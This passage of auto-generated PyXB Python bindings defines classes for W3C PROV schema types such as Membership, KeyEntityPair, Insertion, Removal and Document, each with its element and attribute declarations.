'entity', '__httpwww_w3_orgnsprov_Membership_httpwww_w3_orgnsproventity', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 393, 6), ) entity = property(__entity.value, __entity.set, None, None) _ElementMap.update({ __collection.name() : __collection, __entity.name() : __entity }) _AttributeMap.update({ }) _module_typeBindings.Membership = Membership Namespace.addCategoryObject('typeBinding', 'Membership', Membership) # Complex type {http://www.w3.org/ns/prov#}InternationalizedString with content type SIMPLE class InternationalizedString (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}InternationalizedString with content type SIMPLE""" _TypeDefinition = pyxb.binding.datatypes.string _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_SIMPLE _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'InternationalizedString') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 406, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.string # Attribute {http://www.w3.org/XML/1998/namespace}lang uses Python identifier lang __lang = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(pyxb.namespace.XML, 'lang'), 'lang', '__httpwww_w3_orgnsprov_InternationalizedString_httpwww_w3_orgXML1998namespacelang', pyxb.binding.xml_.STD_ANON_lang) __lang._DeclarationLocation = None __lang._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 409, 8) lang = property(__lang.value, __lang.set, None, None) _ElementMap.update({ }) _AttributeMap.update({ __lang.name() : __lang }) _module_typeBindings.InternationalizedString = InternationalizedString Namespace.addCategoryObject('typeBinding', 'InternationalizedString', InternationalizedString) # Complex type {http://www.w3.org/ns/prov#}TypedValue with content type SIMPLE class TypedValue (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}TypedValue with content type SIMPLE""" _TypeDefinition = pyxb.binding.datatypes.anySimpleType _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_SIMPLE _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'TypedValue') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 427, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anySimpleType # Attribute type uses Python identifier type __type = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'type'), 'type', '__httpwww_w3_orgnsprov_TypedValue_type', pyxb.binding.datatypes.QName) __type._DeclarationLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 430, 1) __type._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 430, 1) type = property(__type.value, __type.set, None, None) _ElementMap.update({ }) _AttributeMap.update({ __type.name() : __type }) _module_typeBindings.TypedValue = TypedValue Namespace.addCategoryObject('typeBinding', 'TypedValue', TypedValue) # Complex type {http://www.w3.org/ns/prov#}IDRef with content type EMPTY class IDRef (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}IDRef with content type EMPTY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_EMPTY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'IDRef') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 463, 2) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Attribute {http://www.w3.org/ns/prov#}ref uses Python identifier ref __ref = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(Namespace, 'ref'), 'ref', '__httpwww_w3_orgnsprov_IDRef_httpwww_w3_orgnsprovref', pyxb.binding.datatypes.QName, required=True) __ref._DeclarationLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 461, 2) __ref._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 464, 4) ref = property(__ref.value, __ref.set, None, None) _ElementMap.update({ }) _AttributeMap.update({ __ref.name() : __ref }) _module_typeBindings.IDRef = IDRef Namespace.addCategoryObject('typeBinding', 'IDRef', IDRef) # Complex type {http://www.w3.org/ns/prov#}KeyEntityPair with content type ELEMENT_ONLY class KeyEntityPair (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}KeyEntityPair with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'KeyEntityPair') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 545, 1) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}key uses Python identifier key __key = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'key'), 'key', '__httpwww_w3_orgnsprov_KeyEntityPair_httpwww_w3_orgnsprovkey', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 547, 7), ) key = property(__key.value, __key.set, None, None) # Element {http://www.w3.org/ns/prov#}entity uses Python identifier entity __entity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'entity'), 'entity', '__httpwww_w3_orgnsprov_KeyEntityPair_httpwww_w3_orgnsproventity', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 548, 7), ) entity = property(__entity.value, __entity.set, None, None) _ElementMap.update({ __key.name() : __key, __entity.name() : __entity }) _AttributeMap.update({ }) _module_typeBindings.KeyEntityPair = KeyEntityPair Namespace.addCategoryObject('typeBinding', 'KeyEntityPair', KeyEntityPair) # Complex type {http://www.w3.org/ns/prov#}DictionaryMembership with content type ELEMENT_ONLY class DictionaryMembership (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}DictionaryMembership with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'DictionaryMembership') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 556, 1) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}dictionary uses Python identifier dictionary __dictionary = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'dictionary'), 'dictionary', '__httpwww_w3_orgnsprov_DictionaryMembership_httpwww_w3_orgnsprovdictionary', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 558, 2), ) dictionary = property(__dictionary.value, __dictionary.set, None, None) # Element {http://www.w3.org/ns/prov#}keyEntityPair uses Python identifier keyEntityPair __keyEntityPair = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'keyEntityPair'), 'keyEntityPair', '__httpwww_w3_orgnsprov_DictionaryMembership_httpwww_w3_orgnsprovkeyEntityPair', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 559, 2), ) keyEntityPair = property(__keyEntityPair.value, __keyEntityPair.set, None, None) _ElementMap.update({ __dictionary.name() : __dictionary, __keyEntityPair.name() : __keyEntityPair }) _AttributeMap.update({ }) _module_typeBindings.DictionaryMembership = DictionaryMembership Namespace.addCategoryObject('typeBinding', 'DictionaryMembership', DictionaryMembership) # Complex type {http://www.w3.org/ns/prov#}Insertion with content type ELEMENT_ONLY class Insertion (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Insertion with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Insertion') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 566, 1) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}label uses Python identifier label __label = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'label'), 'label', '__httpwww_w3_orgnsprov_Insertion_httpwww_w3_orgnsprovlabel', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2), ) label = property(__label.value, __label.set, None, None) # Element {http://www.w3.org/ns/prov#}type uses Python identifier type __type = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'type'), 'type', '__httpwww_w3_orgnsprov_Insertion_httpwww_w3_orgnsprovtype', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2), ) type = property(__type.value, __type.set, None, None) # Element {http://www.w3.org/ns/prov#}newDictionary uses Python identifier newDictionary __newDictionary = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'newDictionary'), 'newDictionary', '__httpwww_w3_orgnsprov_Insertion_httpwww_w3_orgnsprovnewDictionary', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 568, 2), ) newDictionary = property(__newDictionary.value, __newDictionary.set, None, None) # Element {http://www.w3.org/ns/prov#}oldDictionary uses Python identifier oldDictionary __oldDictionary = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'oldDictionary'), 'oldDictionary', '__httpwww_w3_orgnsprov_Insertion_httpwww_w3_orgnsprovoldDictionary', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 569, 2), ) oldDictionary = property(__oldDictionary.value, __oldDictionary.set, None, None) # Element {http://www.w3.org/ns/prov#}keyEntityPair uses Python identifier keyEntityPair __keyEntityPair = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'keyEntityPair'), 'keyEntityPair', '__httpwww_w3_orgnsprov_Insertion_httpwww_w3_orgnsprovkeyEntityPair', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 570, 2), ) keyEntityPair = property(__keyEntityPair.value, __keyEntityPair.set, None, None) # Attribute {http://www.w3.org/ns/prov#}id uses Python identifier id __id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(Namespace, 'id'), 'id', '__httpwww_w3_orgnsprov_Insertion_httpwww_w3_orgnsprovid', pyxb.binding.datatypes.QName) __id._DeclarationLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 460, 2) __id._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 576, 3) id = property(__id.value, __id.set, None, None) _HasWildcardElement = True _ElementMap.update({ __label.name() : __label, __type.name() : __type, __newDictionary.name() : __newDictionary, __oldDictionary.name() : __oldDictionary, __keyEntityPair.name() : __keyEntityPair }) _AttributeMap.update({ __id.name() : __id }) _module_typeBindings.Insertion = Insertion Namespace.addCategoryObject('typeBinding', 'Insertion', Insertion) # Complex type {http://www.w3.org/ns/prov#}Removal with content type ELEMENT_ONLY class Removal (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Removal with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Removal') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 582, 1) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}label uses Python identifier label __label = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'label'), 'label', '__httpwww_w3_orgnsprov_Removal_httpwww_w3_orgnsprovlabel', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2), ) label = property(__label.value, __label.set, None, None) # Element {http://www.w3.org/ns/prov#}type uses Python identifier type __type = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'type'), 'type', '__httpwww_w3_orgnsprov_Removal_httpwww_w3_orgnsprovtype', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2), ) type = property(__type.value, __type.set, None, None) # Element {http://www.w3.org/ns/prov#}newDictionary uses Python identifier newDictionary __newDictionary = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'newDictionary'), 'newDictionary', '__httpwww_w3_orgnsprov_Removal_httpwww_w3_orgnsprovnewDictionary', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 584, 2), ) newDictionary = property(__newDictionary.value, __newDictionary.set, None, None) # Element {http://www.w3.org/ns/prov#}oldDictionary uses Python identifier oldDictionary __oldDictionary = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'oldDictionary'), 'oldDictionary', '__httpwww_w3_orgnsprov_Removal_httpwww_w3_orgnsprovoldDictionary', False, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 585, 2), ) oldDictionary = property(__oldDictionary.value, __oldDictionary.set, None, None) # Element {http://www.w3.org/ns/prov#}key uses Python identifier key __key = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'key'), 'key', '__httpwww_w3_orgnsprov_Removal_httpwww_w3_orgnsprovkey', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 586, 2), ) key = property(__key.value, __key.set, None, None) # Attribute {http://www.w3.org/ns/prov#}id uses Python identifier id __id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(Namespace, 'id'), 'id', '__httpwww_w3_orgnsprov_Removal_httpwww_w3_orgnsprovid', pyxb.binding.datatypes.QName) __id._DeclarationLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 460, 2) __id._UseLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 592, 3) id = property(__id.value, __id.set, None, None) _HasWildcardElement = True _ElementMap.update({ __label.name() : __label, __type.name() : __type, __newDictionary.name() : __newDictionary, __oldDictionary.name() : __oldDictionary, __key.name() : __key }) _AttributeMap.update({ __id.name() : __id }) _module_typeBindings.Removal = Removal Namespace.addCategoryObject('typeBinding', 'Removal', Removal) # Complex type {http://www.w3.org/ns/prov#}Document with content type ELEMENT_ONLY class Document (pyxb.binding.basis.complexTypeDefinition): """Complex type {http://www.w3.org/ns/prov#}Document with content type ELEMENT_ONLY""" _TypeDefinition = None _ContentTypeTag = pyxb.binding.basis.complexTypeDefinition._CT_ELEMENT_ONLY _Abstract = False _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'Document') _XSDLocation = pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 650, 3) _ElementMap = {} _AttributeMap = {} # Base type is pyxb.binding.datatypes.anyType # Element {http://www.w3.org/ns/prov#}entity uses Python identifier entity __entity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'entity'), 'entity', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsproventity', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 475, 2), ) entity = property(__entity.value, __entity.set, None, None) # Element {http://www.w3.org/ns/prov#}activity uses Python identifier activity __activity = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'activity'), 'activity', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovactivity', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 476, 2), ) activity = property(__activity.value, __activity.set, None, None) # Element {http://www.w3.org/ns/prov#}wasGeneratedBy uses Python identifier wasGeneratedBy __wasGeneratedBy = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasGeneratedBy'), 'wasGeneratedBy', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovwasGeneratedBy', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 477, 2), ) wasGeneratedBy = property(__wasGeneratedBy.value, __wasGeneratedBy.set, None, None) # Element {http://www.w3.org/ns/prov#}used uses Python identifier used __used = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'used'), 'used', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovused', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 478, 2), ) used = property(__used.value, __used.set, None, None) # Element {http://www.w3.org/ns/prov#}wasInformedBy uses Python identifier wasInformedBy __wasInformedBy = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasInformedBy'), 'wasInformedBy', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovwasInformedBy', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 479, 2), ) wasInformedBy = property(__wasInformedBy.value, __wasInformedBy.set, None, None) # Element {http://www.w3.org/ns/prov#}wasStartedBy uses Python identifier wasStartedBy __wasStartedBy = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasStartedBy'), 'wasStartedBy', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovwasStartedBy', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 480, 2), ) wasStartedBy = property(__wasStartedBy.value, __wasStartedBy.set, None, None) # Element {http://www.w3.org/ns/prov#}wasEndedBy uses Python identifier wasEndedBy __wasEndedBy = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasEndedBy'), 'wasEndedBy', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovwasEndedBy', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 481, 2), ) wasEndedBy = property(__wasEndedBy.value, __wasEndedBy.set, None, None) # Element {http://www.w3.org/ns/prov#}wasInvalidatedBy uses Python identifier wasInvalidatedBy __wasInvalidatedBy = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasInvalidatedBy'), 'wasInvalidatedBy', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovwasInvalidatedBy', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 482, 2), ) wasInvalidatedBy = property(__wasInvalidatedBy.value, __wasInvalidatedBy.set, None, None) # Element {http://www.w3.org/ns/prov#}wasDerivedFrom uses Python identifier wasDerivedFrom __wasDerivedFrom = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasDerivedFrom'), 'wasDerivedFrom', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovwasDerivedFrom', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 486, 2), ) wasDerivedFrom = property(__wasDerivedFrom.value, __wasDerivedFrom.set, None, None) # Element {http://www.w3.org/ns/prov#}wasRevisionOf uses Python identifier wasRevisionOf __wasRevisionOf = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasRevisionOf'), 'wasRevisionOf', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovwasRevisionOf', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 487, 2), ) wasRevisionOf = property(__wasRevisionOf.value, __wasRevisionOf.set, None, None) # Element {http://www.w3.org/ns/prov#}wasQuotedFrom uses Python identifier wasQuotedFrom __wasQuotedFrom = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasQuotedFrom'), 'wasQuotedFrom', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovwasQuotedFrom', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 488, 2), ) wasQuotedFrom = property(__wasQuotedFrom.value, __wasQuotedFrom.set, None, None) # Element {http://www.w3.org/ns/prov#}hadPrimarySource uses Python identifier hadPrimarySource __hadPrimarySource = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'hadPrimarySource'), 'hadPrimarySource', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovhadPrimarySource', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 489, 2), ) hadPrimarySource = property(__hadPrimarySource.value, __hadPrimarySource.set, None, None) # Element {http://www.w3.org/ns/prov#}agent uses Python identifier agent __agent = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'agent'), 'agent', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovagent', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 493, 2), ) agent = property(__agent.value, __agent.set, None, None) # Element {http://www.w3.org/ns/prov#}person uses Python identifier person __person = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'person'), 'person', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovperson', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 494, 2), ) person = property(__person.value, __person.set, None, None) # Element {http://www.w3.org/ns/prov#}organization uses Python identifier organization __organization = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'organization'), 'organization', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovorganization', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 495, 2), ) organization = property(__organization.value, __organization.set, None, None) # Element {http://www.w3.org/ns/prov#}softwareAgent uses Python identifier softwareAgent __softwareAgent = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'softwareAgent'), 'softwareAgent', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovsoftwareAgent', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 496, 2), ) softwareAgent = property(__softwareAgent.value, __softwareAgent.set, None, None) # Element {http://www.w3.org/ns/prov#}wasAttributedTo uses Python identifier wasAttributedTo __wasAttributedTo = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasAttributedTo'), 'wasAttributedTo', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovwasAttributedTo', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 497, 2), ) wasAttributedTo = property(__wasAttributedTo.value, __wasAttributedTo.set, None, None) # Element {http://www.w3.org/ns/prov#}wasAssociatedWith uses Python identifier wasAssociatedWith __wasAssociatedWith = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasAssociatedWith'), 'wasAssociatedWith', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovwasAssociatedWith', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 498, 2), ) wasAssociatedWith = property(__wasAssociatedWith.value, __wasAssociatedWith.set, None, None) # Element {http://www.w3.org/ns/prov#}actedOnBehalfOf uses Python identifier actedOnBehalfOf __actedOnBehalfOf = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'actedOnBehalfOf'), 'actedOnBehalfOf', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovactedOnBehalfOf', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 499, 2), ) actedOnBehalfOf = property(__actedOnBehalfOf.value, __actedOnBehalfOf.set, None, None) # Element {http://www.w3.org/ns/prov#}wasInfluencedBy uses Python identifier wasInfluencedBy __wasInfluencedBy = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'wasInfluencedBy'), 'wasInfluencedBy', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovwasInfluencedBy', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 500, 2), ) wasInfluencedBy = property(__wasInfluencedBy.value, __wasInfluencedBy.set, None, None) # Element {http://www.w3.org/ns/prov#}bundle uses Python identifier bundle __bundle = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'bundle'), 'bundle', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovbundle', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 504, 2), ) bundle = property(__bundle.value, __bundle.set, None, None) # Element {http://www.w3.org/ns/prov#}specializationOf uses Python identifier specializationOf __specializationOf = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'specializationOf'), 'specializationOf', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovspecializationOf', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 505, 2), ) specializationOf = property(__specializationOf.value, __specializationOf.set, None, None) # Element {http://www.w3.org/ns/prov#}alternateOf uses Python identifier alternateOf __alternateOf = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'alternateOf'), 'alternateOf', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovalternateOf', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 506, 2), ) alternateOf = property(__alternateOf.value, __alternateOf.set, None, None) # Element {http://www.w3.org/ns/prov#}hadMember uses Python identifier hadMember __hadMember = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'hadMember'), 'hadMember', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovhadMember', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 510, 2), ) hadMember = property(__hadMember.value, __hadMember.set, None, None) # Element {http://www.w3.org/ns/prov#}collection uses Python identifier collection __collection = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'collection'), 'collection', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovcollection', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 511, 2), ) collection = property(__collection.value, __collection.set, None, None) # Element {http://www.w3.org/ns/prov#}emptyCollection uses Python identifier emptyCollection __emptyCollection = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'emptyCollection'), 'emptyCollection', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovemptyCollection', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 512, 2), ) emptyCollection = property(__emptyCollection.value, __emptyCollection.set, None, None) # Element {http://www.w3.org/ns/prov#}plan uses Python identifier plan __plan = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'plan'), 'plan', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovplan', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 516, 2), ) plan = property(__plan.value, __plan.set, None, None) # Element {http://www.w3.org/ns/prov#}mentionOf uses Python identifier mentionOf __mentionOf = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'mentionOf'), 'mentionOf', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovmentionOf', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 520, 2), ) mentionOf = property(__mentionOf.value, __mentionOf.set, None, None) # Element {http://www.w3.org/ns/prov#}dictionary uses Python identifier dictionary __dictionary = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'dictionary'), 'dictionary', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovdictionary', True, pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 532, 1), ) dictionary = property(__dictionary.value, __dictionary.set, None, None) # Element {http://www.w3.org/ns/prov#}emptyDictionary uses Python identifier emptyDictionary __emptyDictionary = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'emptyDictionary'), 'emptyDictionary', '__httpwww_w3_orgnsprov_Document_httpwww_w3_orgnsprovemptyDictionary', True, 